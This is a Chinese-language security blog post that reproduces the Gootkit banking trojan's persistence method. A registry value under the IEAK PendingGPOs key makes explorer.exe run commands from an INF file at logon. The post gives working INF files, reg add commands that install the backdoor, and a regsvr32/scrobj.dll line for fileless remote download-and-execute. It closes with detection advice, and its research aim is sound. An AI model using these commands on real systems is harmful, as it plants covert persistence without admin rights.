GookitBankingTrojan 中的后门利用分析

发布于 2025-01-29 00:30:26 字数 4762 浏览 6 评论 0

0x00 前言

Gootkit Banking Trojan 在 2014 年被首次发现,最近 Daniel Bunce(@ 0verfl0w_)介绍了一些对于 Gootkit Banking Trojan 的分析,文章地址如下:https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/

其中,Gootkit Banking Trojan 使用的后门启动方法是独有的,所以本文仅在技术研究的角度复现 Gootkit Banking Trojan 使用的后门启动方法,分析利用思路,给出防御和检测的建议。

0x01 简介

本文将要介绍以下内容:

  • 原理介绍
  • inf 文件的基础知识
  • 复现后门启动方法
  • 分析利用方法
  • 检测和防御建议

0x02 原理介绍

explorer.exe 在运行时会加载特定的组策略对象(GPO),其中包括 Internet Explorer Administration Kit(IEAK) 的 GPO

如果通过添加注册表的方式为 IKAK 创建一个 Pending GPO,指向一个 inf 文件,那么在 explorer.exe 启动时,就会加载这个 Pending GPO,执行 inf 文件中的内容

这个方法的优点是不需要管理员权限

0x03 inf 文件的基础知识

inf 全称 Device INFormation File,是 Microsoft 为硬件设备制造商发布其驱动程序推出的一种文件格式

对大小写不敏感

文件格式:

由多个节组成,节名用方括号括起来

值得注意的节:

1.Version 节

inf 文件都包含这个节,用来描述支持的设备类型和适用的操作系统

  • signature="$CHICAGO$ 表示该 inf 文件适用于 Windows98 之后的所有操作系统
  • signature="$Windows NT$" 表示该 inf 文件适用于 Windows 2000/XP/2003 操作系统

2.DefaultInstall 节

默认情况下首先执行该节内的内容,通常包括文件拷贝、删除,注册表键值的更新,子键删除等功能,还支持执行命令:

  • RunPreSetupCommands,本节中指定的命令在安装服务配置文件之前运行
  • RunPostSetupCommands,本节中指定的命令在安装程序完成服务配置文件后运行
  • RunPreUnInstCommands,本节中指定的命令在卸载程序开始之前运行
  • RunPostUnInstCommands,本节中指定的命令在卸载程序运行后运行

参考资料:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)

例如一个分别执行 cmd 命令和弹出计算器的 test.inf 文件示例:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
RunPostSetupCommands=Command2
[Command1]
C:\WINDOWS\SYSTEM32\calc.exe
[Command2]
C:\WINDOWS\SYSTEM32\cmd.exe

命令行下的启动方式:

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall

执行后先弹出计算器,关闭计算器后,再弹出 cmd.exe

0x04 后门启动方法复现

1.使用测试程序 putty.exe,保存位置: c:\test\putty.exe

2.新建 putty.inf,内容如下:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"You need a new version of advpack.dll"

[DefaultInstall]
RunPreSetupCommands=Command1:2
[Command1]
c:\test\putty.exe

3.新建注册表项

  • HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1
  • HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"
  • HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"

注:原文中 Section1 的值为 [DefaultInstall] ,经测试,此处存在 bug,正确的值应该为 DefaultInstall

注册表设置如下图

Alt text

4.重启系统

系统启动后执行 putty.exe,复现成功

注:系统重启后该注册表会被清除,为了保证下次重启系统时再次触发后门,需要再次修改注册表,添加对应的键值,可供参考的 cmd 命令如下:

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"

0x05 方法优化

1.inf 文件不需要同要启动的 exe 文件同名

inf 文件名称可以任意,例如 test.inf

注:原文描述需要 inf 文件同 exe 文件同名

2.inf 文件内容格式不固定

AdvancedINF=2.5,"You need a new version of advpack.dll" 可修改为 AdvancedINF=2.5,"11111111"

3.inf 文件的 payload 不唯一

还可以实现文件拷贝、删除,注册表键值的更新,子键删除等功能

如果是执行命令,可以同 sct 结合实现无文件落地,例如实现远程下载执行的文件内容如下:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
regsvr32 /u /s /i:..//SCTPersistence/master/calc.sct scrobj.dll

0x06 利用分析

优点如下:

  1. 不需要管理员权限,只需要普通用户权限即可
  2. payload 扩展性高,同其他方法结合(如 sct) 可实现远程下载执行,不需要向硬盘写入文件

0x07 检测和防御建议

监控注册表位置: HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs

默认配置下,系统不存在注册表项: HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy

注:修改注册表 HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs 不会触发这个后门

0x08 小结

本文复现了 Gookit Banking Trojan 中的后门启动方法,分析利用思路,给出防御和检测的建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

清风挽心

暂无简介

文章
评论
28 人气
更多

推荐作者

alipaysp_snBf0MSZIv

文章 0 评论 0

梦断已成空

文章 0 评论 0

瞎闹

文章 0 评论 0

寄意

文章 0 评论 0

似梦非梦

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文